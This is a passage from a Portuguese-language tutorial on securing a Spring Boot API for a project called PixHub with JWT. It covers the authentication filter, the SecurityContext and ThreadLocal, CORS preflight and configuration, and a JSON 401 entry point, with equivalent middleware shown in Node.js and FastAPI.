    │ │    "status": 401,                                                  │
    │ │    "error": "Unauthorized",                                        │
    │ │    "message": "Autenticacao necessaria. Envie um JWT valido...",   │
    │ │    "path": "/api/v1/accounts"                                      │
    │ │  }                                                                 │
    │ │                                                                    │
    │ │  Sem ele: o Spring retornaria HTML generico (Whitelabel Error)     │
    │ │  Arquivo: config/JwtAuthenticationEntryPoint.java                  │
    │ └────────────────────────────────────────────────────────────────────┘
    │
    └── LIBERADO? (endpoint publico OU request autenticada)
        ▼
      ┌─── CONTROLLER (destino final) ────────────────────────────────────┐
      │  So chega aqui quem passou por TODA a cadeia.                     │
      │                                                                    │
      │  O Controller pode consultar quem esta logado:                    │
      │    SecurityContextHolder.getContext().getAuthentication()           │
      │    → principal = "riel@email.com"                                  │
      │    → authorities = [ROLE_USER]                                     │
      │                                                                    │
      │  E pode usar @PreAuthorize para restringir ainda mais:            │
      │    @PreAuthorize("hasRole('ADMIN')") → so admins acessam          │
      └────────────────────────────────────────────────────────────────────┘

Fluxo detalhado do JwtAuthenticationFilter

O JwtAuthenticationFilter e o coracao do passo 3.3. Ele herda de OncePerRequestFilter — uma classe do Spring que garante que o filtro executa exatamente uma vez por request (importante porque o Spring pode processar a mesma request em multiplos dispatchers internos, como forward e error).

Passo a passo: o que acontece dentro do filtro
  doFilterInternal(request, response, filterChain):
  ─────────────────────────────────────────────────

  PASSO 1 — Extrair o token do header
  ────────────────────────────────────
    header = request.getHeader("Authorization")

    O padrao HTTP para autenticacao e enviar no header:
      Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWI...
                     └─────┘└──────────────────────────────┘
                     tipo     o token JWT em si (Base64)

    "Bearer" e o tipo de autenticacao (existem outros: Basic, Digest).
    Removemos "Bearer " (7 caracteres) para ficar so com o token.

    Se nao tem header ou nao comeca com "Bearer " → token = null


  PASSO 2 — Sem token? Passa adiante
  ───────────────────────────────────
    if (token == null) {
        filterChain.doFilter(request, response);  // proximo filtro
        return;
    }

    IMPORTANTE: o filtro NAO bloqueia requests sem token!
    Ele simplesmente nao autentica. O Spring Security (AuthorizationFilter)
    decidira depois: se o endpoint e publico → OK. Se exige auth → 401.

    Por que nao bloquear aqui? Porque endpoints como /auth/login
    NAO TEM token (o usuario ainda nao fez login!). Se bloqueassemos
    aqui, ninguem conseguiria fazer login.


  PASSO 3 — Validar o token com JwtService
  ─────────────────────────────────────────
    Claims claims = jwtService.validateToken(token);

    O JwtService (criado no passo 3.2) verifica:
      ✓ A assinatura bate com nossa chave secreta? (nao foi adulterado?)
      ✓ O token nao expirou? (exp > agora?)
      ✓ O formato e valido? (3 partes separadas por ponto?)

    Se QUALQUER verificacao falhar → claims = null → passa sem autenticar


  PASSO 4 — Verificar o tipo do token
  ────────────────────────────────────
    String tokenType = claims.get("type", String.class);
    if (!"access".equals(tokenType)) {
        log.warn("Tentativa de usar token tipo '{}' como access", tokenType);
        filterChain.doFilter(request, response);
        return;
    }

    Por que isso e CRITICO?
    No passo 3.2, criamos dois tipos de token:
      - access token:  curta duracao (15 min), usado para acessar APIs
      - refresh token: longa duracao (7 dias), usado SO para renovar tokens

    Sem essa verificacao, um atacante poderia usar o refresh token
    (que dura 7 dias!) para acessar endpoints protegidos. Isso anularia
    completamente a vantagem de ter tokens de curta duracao.


  PASSO 5 — Token valido! Extrair os dados do usuario
  ────────────────────────────────────────────────────
    String email = claims.getSubject();           // "riel@email.com"
    String role  = claims.get("role", String.class);  // "USER"

    Esses dados foram colocados no token durante o login (JwtService).
    Agora estamos lendo de volta — sem consultar o banco de dados!
    Essa e a grande vantagem do JWT: os dados viajam COM o token.


  PASSO 6 — Criar autenticacao no SecurityContext
  ────────────────────────────────────────────────
    (detalhes na proxima pagina — SecurityContext merece explicacao propria)

    UsernamePasswordAuthenticationToken auth =
        new UsernamePasswordAuthenticationToken(
            email,                                        // principal (quem e)
            null,                                         // credentials (nao precisa)
            List.of(new SimpleGrantedAuthority("ROLE_" + role))  // authorities
        );

    SecurityContextHolder.getContext().setAuthentication(auth);

    A partir daqui, qualquer parte do codigo pode perguntar:
    "Quem esta fazendo essa request?" e receber a resposta.


  PASSO 7 — Continuar a cadeia
  ────────────────────────────
    filterChain.doFilter(request, response);
    // A request segue para o proximo filtro → eventualmente chega no Controller

Mapa de conexoes: como os arquivos se relacionam

Arquivos do passo 3.3 + conexoes com passos anteriores
                         ┌─── application.yml ──────────────┐
                         │    jwt.secret                    │
                         │    jwt.access-token-expiration   │
                         │    jwt.refresh-token-expiration  │
                         └─────────┬───────────────────────┘
                                   │ @ConfigurationProperties le esses valores
                                   ▼
                         ┌─── JwtProperties.java ──────────┐
                         │    secret                        │
                         │    accessTokenExpiration         │
                         │    refreshTokenExpiration        │
                         └─────────┬───────────────────────┘
                                   │ injetado via construtor
                                   ▼
  ┌──── PASSO 3.2 ─────────────────────────────────────────────────────┐
  │  JwtService.java                                                   │
  │    generateAccessToken(email, role) ← AuthService usa no login    │
  │    generateRefreshToken(email)      ← AuthService usa no login    │
  │    validateToken(token)             ← Filter usa A CADA REQUEST   │
  │    getEmailFromToken(token)         ← AuthService usa no refresh  │
  └────────────────┬──────────────────────┬────────────────────────────┘
                   │                      │
         usado no login             usado a cada request
                   │                      │
                   ▼                      ▼
  ┌──── PASSO 3.2 ────────┐   ┌──── PASSO 3.3 (NOVO) ──────────────┐
  │  AuthService.java      │   │  JwtAuthenticationFilter.java       │
  │    register()           │   │    doFilterInternal()               │
  │    login()              │   │      → extractToken(request)       │
  │    refresh()            │   │      → jwtService.validateToken()  │
  └────────────────────────┘   │      → verifica tipo "access"      │
                               │      → seta SecurityContext         │
                               └──────────────┬─────────────────────┘
                                              │ registrado na cadeia por
                                              ▼
  ┌──── PASSO 3.3 (ATUALIZADO) ──────────────────────────────────────┐
  │  SecurityConfig.java — O ORQUESTRADOR                             │
  │                                                                    │
  │  .cors(corsConfigurationSource())     ← libera React (5173)      │
  │  .csrf(disable())                     ← API REST, nao usa cookies│
  │  .sessionManagement(STATELESS)        ← cada request e autonoma  │
  │  .addFilterBefore(jwtFilter, ...)     ← insere NOSSO filtro      │
  │  .authorizeHttpRequests(...)          ← regras publico/protegido │
  │  .exceptionHandling(entryPoint)       ← JSON em vez de HTML      │
  │                                                                    │
  │  Endpoints publicos:     /api/v1/auth/**, /swagger-ui/**,        │
  │                          /actuator/**, /api-docs/**               │
  │  Todos os demais:        authenticated() ← PORTA FECHADA         │
  └────────────────────────────┬─────────────────────────────────────┘
                               │ quando autenticacao falha
                               ▼
  ┌──── PASSO 3.3 (NOVO) ──────────────────────────────────────────┐
  │  JwtAuthenticationEntryPoint.java                               │
  │    commence(request, response, authException)                    │
  │      → Monta ErrorResponse (mesmo DTO do GlobalExceptionHandler)│
  │      → Escreve JSON direto no HttpServletResponse               │
  │      → {"status":401, "error":"Unauthorized", "message":"..."}  │
  │                                                                  │
  │  Por que nao usar o GlobalExceptionHandler?                     │
  │    Porque o filtro de seguranca roda ANTES do Controller.       │
  │    O GlobalExceptionHandler so captura excecoes de Controllers. │
  │    Erros de autenticacao acontecem na cadeia de filtros.        │
  └────────────────────────────────────────────────────────────────┘
Analogia completa

Pense no predio do PixHub como um predio comercial com varios andares:

Passo 3.1 criou o cadastro de funcionarios (entidade User no banco) — agora o predio sabe quem sao as pessoas.

Passo 3.2 montou a recepcao (AuthController) com uma maquina de imprimir crachas (JwtService). Quem chega se identifica, recebe um cracha com nome e cargo impresso.

Passo 3.3 instalou catracas em TODAS as portas (JwtAuthenticationFilter). Agora nao basta ter cracha — voce precisa mostrar o cracha em cada porta que quiser abrir. O SecurityConfig e o manual que define: "a recepcao nao tem catraca (endpoints publicos), mas todos os andares tem (endpoints protegidos)". E o EntryPoint e a mensagem educada na catraca quando ela trava: "Acesso negado. Por favor, apresente seu cracha na recepcao — andar terreo, porta 1 (POST /api/v1/auth/login)."

O que e o SecurityContext?

O SecurityContext e um container temporario que armazena a identidade do usuario durante uma unica request HTTP. Ele nasce quando a request chega, vive enquanto ela e processada, e morre quando a resposta e enviada.

E como um cracha de visitante descartavel: voce recebe na entrada, usa enquanto esta no predio, e devolve ao sair. A proxima vez que voce entrar, recebe um cracha novo.

Por que ele e necessario?

O JWT viaja no header HTTP — so o filtro tem acesso direto a ele. Mas e se o Controller, o Service, ou o Repository precisam saber quem esta fazendo a operacao? Eles nao tem acesso ao header HTTP diretamente.

O SecurityContext resolve isso: o filtro extrai os dados do JWT e coloca no SecurityContext. A partir dai, qualquer camada da aplicacao pode consultar quem esta logado.

O fluxo: do header HTTP ao Controller
  REQUEST HTTP
  ┌─────────────────────────────────────────────────┐
  │  Header: Authorization: Bearer eyJ...           │
  │  Body: { "holderName": "Riel" }                 │
  └─────────────────┬───────────────────────────────┘
                    │
                    ▼
  JwtAuthenticationFilter (FILTRO):
    1. Extrai "eyJ..." do header
    2. Valida com JwtService → { sub: "riel@email.com", role: "USER" }
    3. Cria autenticacao:
       UsernamePasswordAuthenticationToken(
           "riel@email.com",           // principal
           null,                        // credentials
           [ROLE_USER]                  // authorities
       )
    4. Coloca no container:
       SecurityContextHolder.getContext().setAuthentication(auth)
                    │
                    ▼
  CONTROLLER (pode consultar):
    Authentication auth = SecurityContextHolder.getContext().getAuthentication();
    String email = auth.getName();              // "riel@email.com"
    Collection roles = auth.getAuthorities();   // [ROLE_USER]
                    │
                    ▼
  SERVICE (pode consultar tambem!):
    // O mesmo SecurityContextHolder funciona em qualquer camada
    String quemFez = SecurityContextHolder.getContext()
        .getAuthentication().getName();         // "riel@email.com"
    // Util para audit trail: "quem criou essa conta?"
                    │
                    ▼
  RESPOSTA ENVIADA → SecurityContext e LIMPO automaticamente

As 3 partes da autenticacao

O UsernamePasswordAuthenticationToken (apesar do nome confuso) e a "ficha de identidade" do Spring Security. Ele tem 3 partes:

Os 3 campos do token de autenticacao
  UsernamePasswordAuthenticationToken(principal, credentials, authorities)
  ─────────────────────────────────────────────────────────────────────────

  1. PRINCIPAL — "Quem e voce?"
     ─────────
     No nosso caso: o email do usuario → "riel@email.com"
     Extraido do claim "sub" (subject) do JWT.
     Qualquer codigo pode pedir: auth.getName() → "riel@email.com"

  2. CREDENTIALS — "Qual e sua prova de identidade?"
     ───────────
     No nosso caso: null (nao precisamos)
     Por que null? Porque o JWT ja FOI validado pelo filtro.
     A "prova" ja foi verificada — nao precisa guardar a senha.
     Se fosse login com username+senha, aqui teria a senha.

  3. AUTHORITIES — "O que voce pode fazer?"
     ───────────
     No nosso caso: List.of(new SimpleGrantedAuthority("ROLE_USER"))
     Extraido do claim "role" do JWT, com prefixo "ROLE_".

     O prefixo "ROLE_" e uma CONVENCAO do Spring Security:
       - No JWT: role = "USER"
       - No Spring: authority = "ROLE_USER"
       - No @PreAuthorize: hasRole('USER') → Spring adiciona ROLE_ automaticamente

     Exemplos de uso futuro:
       @PreAuthorize("hasRole('USER')")   → qualquer usuario logado
       @PreAuthorize("hasRole('ADMIN')")  → somente administradores

Como funciona com threads (por que ThreadLocal)

O Spring Boot processa cada request em uma thread separada (uma "linha de execucao" independente). Se 10 usuarios fazem requests simultaneas, ha 10 threads rodando ao mesmo tempo.

SecurityContext e ThreadLocal — isolamento por thread
  Thread 1 (Riel fazendo GET /accounts):
    SecurityContext → { principal: "riel@email.com", role: ROLE_USER }

  Thread 2 (Ana fazendo POST /pix/keys):
    SecurityContext → { principal: "ana@email.com", role: ROLE_USER }

  Thread 3 (Admin fazendo DELETE /accounts/123):
    SecurityContext → { principal: "admin@pixhub.com", role: ROLE_ADMIN }

  Cada thread tem seu PROPRIO SecurityContext (via ThreadLocal).
  A thread do Riel NUNCA ve os dados da Ana, e vice-versa.
  E como se cada thread fosse um "universo paralelo" isolado.

  ThreadLocal e um mecanismo do Java que cria uma "copia privada"
  de uma variavel para cada thread. Funciona assim:
    ThreadLocal<SecurityContext> holder = new ThreadLocal<>();
    holder.set(contextoDoRiel);   // so esta thread ve isso
    holder.get();                 // retorna contextoDoRiel

Uso pratico: quem fez o que?

Exemplos de como usar o SecurityContext no dia a dia
  // No Controller — saber quem esta logado:
  @GetMapping("/me")
  public ResponseEntity<UserProfile> getMyProfile() {
      String email = SecurityContextHolder.getContext()
          .getAuthentication().getName();
      // Busca os dados do usuario pelo email
      return ResponseEntity.ok(userService.findByEmail(email));
  }

  // No Service — audit trail (quem criou essa conta?):
  public Account createAccount(CreateAccountRequest request) {
      String createdBy = SecurityContextHolder.getContext()
          .getAuthentication().getName();
      account.setCreatedBy(createdBy);   // "riel@email.com"
      return accountRepository.save(account);
  }

  // No Controller — pegar a role do usuario:
  @PreAuthorize("hasRole('ADMIN')")      // Spring verifica automaticamente!
  @DeleteMapping("/accounts/{id}")       // So admins podem deletar contas
  public ResponseEntity<Void> deleteAccount(@PathVariable UUID id) {
      accountService.delete(id);
      return ResponseEntity.noContent().build();
  }

  // O @PreAuthorize funciona porque:
  // 1. @EnableMethodSecurity no SecurityConfig ativa essa feature
  // 2. hasRole('ADMIN') verifica se authorities contem "ROLE_ADMIN"
  // 3. O filtro JWT colocou "ROLE_USER" ou "ROLE_ADMIN" no SecurityContext
Analogia

O SecurityContext e como o cracha pendurado no pescoco de cada pessoa dentro do predio. A catraca (filtro JWT) verifica seu documento na entrada e te da o cracha. A partir dai, qualquer pessoa que precise saber quem voce e — a recepcionista, o porteiro do andar, o seguranca do cofre — basta olhar para o seu cracha. Voce nao precisa mostrar seu documento original toda vez, porque o cracha ja tem suas informacoes (nome e cargo). E quando voce sai do predio (request termina), o cracha e descartado.

O ThreadLocal garante que cada pessoa tem seu proprio cracha — mesmo que 100 pessoas estejam no predio ao mesmo tempo, ninguem consegue ler o cracha de outra pessoa.

Problema 1: CORS — por que o navegador bloqueia o frontend

CORS (Cross-Origin Resource Sharing) e uma politica de seguranca dos navegadores que bloqueia requisicoes entre "origens" diferentes. Uma "origem" e a combinacao de protocolo + dominio + porta.

O que e uma "origem" (origin)?
  ORIGEM = protocolo + dominio + porta

  Exemplos de origens DIFERENTES (qualquer parte diferente = origem diferente):
    http://localhost:5173   ← React (Vite dev server)
    http://localhost:8080   ← Spring Boot API (porta diferente!)
    https://localhost:5173  ← mesmo dominio/porta, mas protocolo diferente
    http://pixhub.com:5173  ← mesmo protocolo/porta, mas dominio diferente

  React em http://localhost:5173 tentando chamar API em http://localhost:8080:
    → O NAVEGADOR detecta: "porta 5173 ≠ porta 8080 — origens diferentes!"
    → O NAVEGADOR bloqueia a request antes dela chegar na API
    → A API nem sabe que alguem tentou chama-la

Por que o navegador faz isso?

Imagine que voce esta logado no site do seu banco (banco.com). Em outra aba, voce abre um site malicioso (hacker.com). Sem CORS, o JavaScript do hacker.com poderia fazer requests para banco.com usando seus cookies de sessao — porque o navegador envia cookies automaticamente para o dominio de destino. O hacker poderia transferir seu dinheiro sem voce saber!

CORS impede isso: o navegador so permite requests entre origens diferentes se o servidor de destino disser explicitamente "eu confio nessa origem". Se o servidor nao disser nada, o navegador bloqueia.

O mecanismo de Preflight (pre-voo)
  Quando o React faz um POST/PUT/DELETE para a API, o navegador
  nao envia a request diretamente. Ele faz uma "pergunta" primeiro:

  PASSO 1 — Preflight (o navegador pergunta):
  ────────────────────────────────────────────
    OPTIONS /api/v1/accounts HTTP/1.1
    Origin: http://localhost:5173
    Access-Control-Request-Method: POST
    Access-Control-Request-Headers: Authorization, Content-Type

    Traduzindo: "Oi API, eu sou o localhost:5173. Posso fazer um POST
    com os headers Authorization e Content-Type?"

  PASSO 2 — Resposta da API (o CORS do Spring responde):
  ──────────────────────────────────────────────────────
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: http://localhost:5173
    Access-Control-Allow-Methods: GET, POST, PUT, DELETE
    Access-Control-Allow-Headers: Authorization, Content-Type
    Access-Control-Max-Age: 3600

    Traduzindo: "Ola localhost:5173! Sim, voce pode. E pode cachear
    essa resposta por 1 hora (nao precisa perguntar de novo)."

  PASSO 3 — Request real (so agora o navegador envia):
  ────────────────────────────────────────────────────
    POST /api/v1/accounts HTTP/1.1
    Origin: http://localhost:5173
    Authorization: Bearer eyJ...
    Content-Type: application/json
    {"holderName": "Riel Santos", ...}

  NOTA: requests GET simples nao precisam de preflight.
  O navegador so faz preflight para requests "complexas"
  (POST/PUT/DELETE, ou GET com headers customizados).
Nossa configuracao CORS no SecurityConfig
  @Bean
  public CorsConfigurationSource corsConfigurationSource() {
      CorsConfiguration config = new CorsConfiguration();

      // 1. ORIGENS PERMITIDAS — quais URLs do frontend podem nos chamar
      config.setAllowedOrigins(Arrays.asList(
          "http://localhost:5173",    // Vite dev server (React)
          "http://localhost:4173",    // Vite preview (build local)
          "http://localhost:3000"     // Create React App (alternativa)
      ));
      // Em producao: trocar por "https://pixhub.com.br"

      // 2. METODOS HTTP — quais metodos o frontend pode usar
      config.setAllowedMethods(Arrays.asList(
          "GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"
      ));
      // OPTIONS e obrigatorio para o preflight funcionar

      // 3. HEADERS PERMITIDOS — o que o frontend pode enviar
      config.setAllowedHeaders(Arrays.asList(
          "Authorization",       // o JWT (Bearer eyJ...)
          "Content-Type",        // tipo do body (application/json)
          "Accept",              // tipo de resposta aceita
          "Origin",              // de onde vem a request
          "X-Requested-With"     // identifica requests AJAX
      ));

      // 4. HEADERS EXPOSTOS — o que o frontend pode LER da resposta
      config.setExposedHeaders(Arrays.asList(
          "Authorization",           // se o backend devolver token no header
          "X-RateLimit-Remaining"    // rate limiting (fase 3.4)
      ));
      // Por padrao, o navegador so deixa o JS ler alguns headers basicos
      // (Content-Type, Content-Length). Outros precisam ser "expostos".

      // 5. CREDENCIAIS — permite enviar Authorization header
      config.setAllowCredentials(true);
      // IMPORTANTE: quando true, nao pode usar "*" em allowedOrigins!
      // O navegador exige origens explicitas por seguranca.

      // 6. MAX AGE — cache do preflight (evita OPTIONS repetidos)
      config.setMaxAge(3600L);  // 1 hora

      // Aplica para TODAS as rotas da API
      UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
      source.registerCorsConfiguration("/**", config);
      return source;
  }
IMPORTANTE: quem NAO e afetado pelo CORS
  CORS so existe no NAVEGADOR. Essas ferramentas IGNORAM CORS completamente:

  ✅ curl           → ferramenta de terminal, nao e navegador
  ✅ Postman        → app desktop, nao e navegador
  ✅ Insomnia       → app desktop, nao e navegador
  ✅ Apps mobile    → iOS/Android nao implementam CORS
  ✅ Outro backend  → servidor-para-servidor nao tem CORS
  ✅ Testes (JUnit) → rodam no servidor, nao no navegador

  Por isso, funciona tudo no Postman mas quebra no React!
  Esse e o erro mais comum de quem esta comecando com APIs + frontend.

Problema 2: EntryPoint — a resposta de erro feia

Quando alguem tenta acessar um endpoint protegido sem JWT, o Spring Security precisa responder com 401 Unauthorized. Porem, o comportamento padrao do Spring e retornar uma pagina HTML generica — o "Whitelabel Error Page".

O problema: HTML generico vs JSON padronizado
  ┌─── SEM nosso EntryPoint (padrao do Spring) ───────────────────────────┐
  │                                                                        │
  │  curl http://localhost:8080/api/v1/accounts                           │
  │                                                                        │
  │  HTTP 401                                                              │
  │  Content-Type: text/html                                               │
  │                                                                        │
  │  <html>                                                               │
  │  <body>                                                               │
  │    <h1>Whitelabel Error Page</h1>                                     │
  │    <p>This application has no explicit mapping for /error...</p>      │
  │  </body>                                                              │
  │  </html>                                                              │
  │                                                                        │
  │  Problemas:                                                            │
  │  1. Frontend nao consegue fazer JSON.parse() em HTML!                 │
  │  2. Formato diferente dos outros erros da API (que sao JSON)          │
  │  3. Nenhuma informacao util para o desenvolvedor                      │
  └────────────────────────────────────────────────────────────────────────┘

  ┌─── COM nosso JwtAuthenticationEntryPoint ─────────────────────────────┐
  │                                                                        │
  │  curl http://localhost:8080/api/v1/accounts                           │
  │                                                                        │
  │  HTTP 401                                                              │
  │  Content-Type: application/json                                        │
  │                                                                        │
  │  {                                                                     │
  │    "timestamp": "2026-03-21T12:30:00",                                │
  │    "status": 401,                                                      │
  │    "error": "Unauthorized",                                            │
  │    "message": "Autenticacao necessaria. Envie um token JWT valido     │
  │               no header Authorization.",                               │
  │    "path": "/api/v1/accounts"                                          │
  │  }                                                                     │
  │                                                                        │
  │  Vantagens:                                                            │
  │  1. JSON! Frontend parseia facilmente                                 │
  │  2. MESMO formato (ErrorResponse) de todos os outros erros            │
  │  3. Mensagem util: diz o que fazer para resolver                      │
  │  4. Frontend pode tratar: if (data.status === 401) redirect('/login') │
  └────────────────────────────────────────────────────────────────────────┘

Por que nao usar o GlobalExceptionHandler?

No passo anterior (Fase 02), criamos o GlobalExceptionHandler com @ControllerAdvice para capturar excecoes e retornar JSON padronizado. Entao por que nao usamos ele aqui?

GlobalExceptionHandler vs EntryPoint — quem pega o que
  Request HTTP chega ao servidor
    │
    ▼
  ┌─────────────────────────────────────────────┐
  │  CADEIA DE FILTROS (Spring Security)        │
  │                                              │
  │  Se 401 aqui → EntryPoint pega              │  ← FORA do Controller
  │  (GlobalExceptionHandler NAO alcanca aqui)  │
  │                                              │
  └──────────────┬──────────────────────────────┘
                 │ passou pelos filtros?
                 ▼
  ┌─────────────────────────────────────────────┐
  │  CONTROLLER → SERVICE → REPOSITORY          │
  │                                              │
  │  Se excecao aqui → GlobalExceptionHandler    │  ← DENTRO do Controller
  │  (EntryPoint NAO e chamado aqui)             │
  │                                              │
  └─────────────────────────────────────────────┘

  Resumo:
    EntryPoint         → erros de AUTENTICACAO (cadeia de filtros, antes do Controller)
    GlobalExceptionHandler → erros de NEGOCIO (dentro dos Controllers)

  Os dois retornam o MESMO formato (ErrorResponse), so que em momentos diferentes.
  Para o frontend, o formato e sempre igual — nao importa onde o erro aconteceu.
Como implementamos o EntryPoint
  @Component
  public class JwtAuthenticationEntryPoint implements AuthenticationEntryPoint {

      private final ObjectMapper objectMapper;  // Jackson — converte Java para JSON

      // commence() e chamado pelo Spring Security quando autenticacao falha
      @Override
      public void commence(HttpServletRequest request,
                           HttpServletResponse response,
                           AuthenticationException authException) throws IOException {

          log.warn("Acesso nao autenticado a: {} {}", request.getMethod(),
                   request.getRequestURI());

          // Monta ErrorResponse — MESMO DTO que o GlobalExceptionHandler usa
          ErrorResponse errorResponse = ErrorResponse.builder()
                  .timestamp(LocalDateTime.now())
                  .status(401)
                  .error("Unauthorized")
                  .message("Autenticacao necessaria. Envie um token JWT valido"
                         + " no header Authorization.")
                  .path(request.getRequestURI())
                  .build();

          // Escreve o JSON direto na response HTTP
          // Nao podemos usar return ResponseEntity.status(401).body(error)
          // porque estamos FORA do Controller — nao tem mecanismo de retorno.
          // Precisamos escrever manualmente no HttpServletResponse.
          response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);  // 401
          response.setContentType(MediaType.APPLICATION_JSON_VALUE);
          response.setCharacterEncoding("UTF-8");
          response.getWriter().write(objectMapper.writeValueAsString(errorResponse));
      }
  }
Analogias

CORS e como o porteiro de um condominio. Se voce e morador (mesma origem), entra direto. Se e visitante (origem diferente), o porteiro liga para o morador perguntando: "Tem um tal de localhost:5173 aqui querendo entrar. Pode?" (preflight). Se o morador disser sim (Access-Control-Allow), o visitante entra. Ferramentas como curl e Postman sao como entrar pela garagem com controle remoto — nao passam pelo porteiro.

EntryPoint e a mensagem automatizada do interfone quando a catraca trava. Sem ele, a catraca trava e fica muda (HTML generico — o frontend nao entende). Com ele, uma voz diz claramente: "Acesso negado. Para entrar, apresente-se na recepcao — interfone 1 (POST /api/v1/auth/login)." E a mensagem vem no mesmo formato que todas as outras mensagens do predio (JSON padronizado), entao o sistema de comunicacao (frontend) entende perfeitamente.

EntryPoint vs GlobalExceptionHandler e como seguranca na portaria vs atendente no balcao. Se voce e barrado na portaria (cadeia de filtros), quem te atende e o seguranca (EntryPoint). Se voce entrou no predio e teve um problema no balcao (Controller/Service), quem te atende e o atendente (GlobalExceptionHandler). Ambos falam a mesma lingua (ErrorResponse JSON), mas atuam em momentos diferentes.

O design pattern por tras: Chain of Responsibility

Antes de comparar linguagens, vale entender o padrao de design que tudo isso implementa: Chain of Responsibility (Cadeia de Responsabilidade). Este e um dos 23 padroes classicos de design catalogados pelo "Gang of Four" — funciona assim:

Chain of Responsibility — o padrao por tras dos filtros
  IDEIA: uma request passa por uma CADEIA de "handlers" (tratadores).
  Cada handler pode processar a request e/ou passa-la para o proximo.

  Sem o padrao:                      Com o padrao:
  ─────────────                      ──────────────
  if (cors_ok) {                     Request
    if (csrf_ok) {                     → CorsFilter.handle()
      if (jwt_ok) {                    → CsrfFilter.handle()
        if (authz_ok) {                → JwtFilter.handle()
          controller();                → AuthzFilter.handle()
        }                              → Controller
      }
    }
  }

  O problema do "sem padrao": if/else aninhado, impossivel de manter.
  Com a cadeia, cada filtro e independente e pode ser adicionado/removido
  sem afetar os outros. E facil de testar cada um isoladamente.

  TODAS as linguagens usam esse padrao para middleware/filtros HTTP:
    Java:    FilterChain.doFilter()
    Node:    next()
    Python:  call_next()
    Go:      next.ServeHTTP()

  O nome muda, mas o conceito e identico.

Tabela: conceitos portateis para qualquer linguagem

Cada conceito e UNIVERSAL — so a sintaxe muda
  CONCEITO UNIVERSAL             JAVA (Spring)           NODE.JS (Express)       PYTHON (FastAPI)
  ──────────────────             ─────────────           ─────────────────       ────────────────
  Middleware/Filtro              OncePerRequestFilter    function(req,res,next)  @app.middleware("http")
  que intercepta requests        extends classe          funcao simples          funcao async

  Extrair token do header        request.getHeader(      req.headers             request.headers
  "Authorization: Bearer X"       "Authorization")        .authorization          .get("authorization")

  Validar JWT (assinatura         jwtService              jwt.verify(             jwt.decode(
  + expiracao)                     .validateToken()         token, secret)          token, secret)

  Setar usuario autenticado      SecurityContextHolder   req.user = decoded      request.state.user
  no contexto da request          .setAuthentication()                             = decoded

  Separar access/refresh         claims.get("type")      decoded.type            decoded["type"]
  no filtro                       .equals("access")        === "access"            == "access"

  CORS configuration             CorsConfiguration       cors({origin:[...]})    CORSMiddleware(
  (liberar origens)               Source (bean)            (pacote cors)           allow_origins=[...])

  Resposta padronizada           Authentication           Error middleware:       Exception handler:
  para 401                        EntryPoint               app.use((err,req,      @app.exception_
                                   (interface)               res,next)=>{...})     handler(HTTPExc)

  Cadeia de filtros              filterChain              next()                  await call_next()
  (chamar o proximo)              .doFilter()

  Autorizar por role             @PreAuthorize(           requireRole('ADMIN')   Depends(require_
  em endpoint especifico          "hasRole('ADMIN')")      (middleware custom)     role("ADMIN"))

O mesmo middleware JWT em 3 linguagens

Veja como a logica e identica — extrair token, validar, verificar tipo, setar usuario no contexto. So muda a sintaxe e os nomes das classes/funcoes do framework.

Java (Spring Security) — nosso JwtAuthenticationFilter
  @Component
  public class JwtAuthenticationFilter extends OncePerRequestFilter {
      // OncePerRequestFilter: garante executar 1x por request (coisa do Spring)

      @Override
      protected void doFilterInternal(HttpServletRequest request,
                                       HttpServletResponse response,
                                       FilterChain filterChain)
                                       throws ServletException, IOException {

          // 1. Extrair token
          String header = request.getHeader("Authorization");
          if (header == null || !header.startsWith("Bearer ")) {
              filterChain.doFilter(request, response);  // passa adiante
              return;
          }
          String token = header.substring(7);

          // 2. Validar
          Claims claims = jwtService.validateToken(token);
          if (claims == null) {
              filterChain.doFilter(request, response);
              return;
          }

          // 3. Verificar tipo
          if (!"access".equals(claims.get("type", String.class))) {
              filterChain.doFilter(request, response);
              return;
          }

          // 4. Setar no contexto (SecurityContext — especifico do Spring)
          var auth = new UsernamePasswordAuthenticationToken(
              claims.getSubject(), null,
              List.of(new SimpleGrantedAuthority("ROLE_" + claims.get("role")))
          );
          SecurityContextHolder.getContext().setAuthentication(auth);

          filterChain.doFilter(request, response);  // proximo filtro
      }
  }

  // Registro no SecurityConfig:
  .addFilterBefore(jwtFilter, UsernamePasswordAuthenticationFilter.class)
Node.js (Express) — mesma logica, sintaxe mais enxuta
  const jwt = require('jsonwebtoken');

  function authMiddleware(req, res, next) {
      // 1. Extrair token
      const header = req.headers.authorization;
      if (!header || !header.startsWith('Bearer ')) {
          return next();  // passa adiante (equivale ao filterChain.doFilter)
      }
      const token = header.substring(7);

      try {
          // 2. Validar
          const decoded = jwt.verify(token, process.env.JWT_SECRET);

          // 3. Verificar tipo
          if (decoded.type !== 'access') {
              return next();
          }

          // 4. Setar no contexto (req.user — simples, sem SecurityContext)
          req.user = {
              email: decoded.sub,
              role: decoded.role
          };
      } catch (err) {
          // Token invalido — passa sem autenticar (mesmo que o Java)
      }

      next();  // proximo middleware
  }

  // Registro:
  app.use(authMiddleware);  // aplica para todas as rotas
  // Muito mais simples que o .addFilterBefore() do Spring!
Python (FastAPI) — mesma logica, estilo async
  import jwt
  from starlette.middleware.base import BaseHTTPMiddleware

  class AuthMiddleware(BaseHTTPMiddleware):
      async def dispatch(self, request, call_next):
          # 1. Extrair token
          header = request.headers.get("authorization")
          if not header or not header.startswith("Bearer "):
              return await call_next(request)  # passa adiante

          token = header[7:]

          try:
              # 2. Validar
              decoded = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])

              # 3. Verificar tipo
              if decoded.get("type") != "access":
                  return await call_next(request)

              # 4. Setar no contexto (request.state — simples como o Node)
              request.state.user = {
                  "email": decoded["sub"],
                  "role": decoded["role"]
              }
          except jwt.InvalidTokenError:
              pass  # token invalido — passa sem autenticar

          return await call_next(request)  # proximo middleware

  # Registro:
  app.add_middleware(AuthMiddleware)

Comparacao: CORS em 3 linguagens

CORS — a mesma ideia com complexidade bem diferente
  ┌─── Java (Spring) — mais verboso, mas muito configuravel ───────────────┐
  │  @Bean                                                                  │
  │  public CorsConfigurationSource corsConfigurationSource() {            │
  │      CorsConfiguration config = new CorsConfiguration();              │
  │      config.setAllowedOrigins(Arrays.asList("http://localhost:5173"));│
  │      config.setAllowedMethods(Arrays.asList("GET","POST","PUT",...)); │
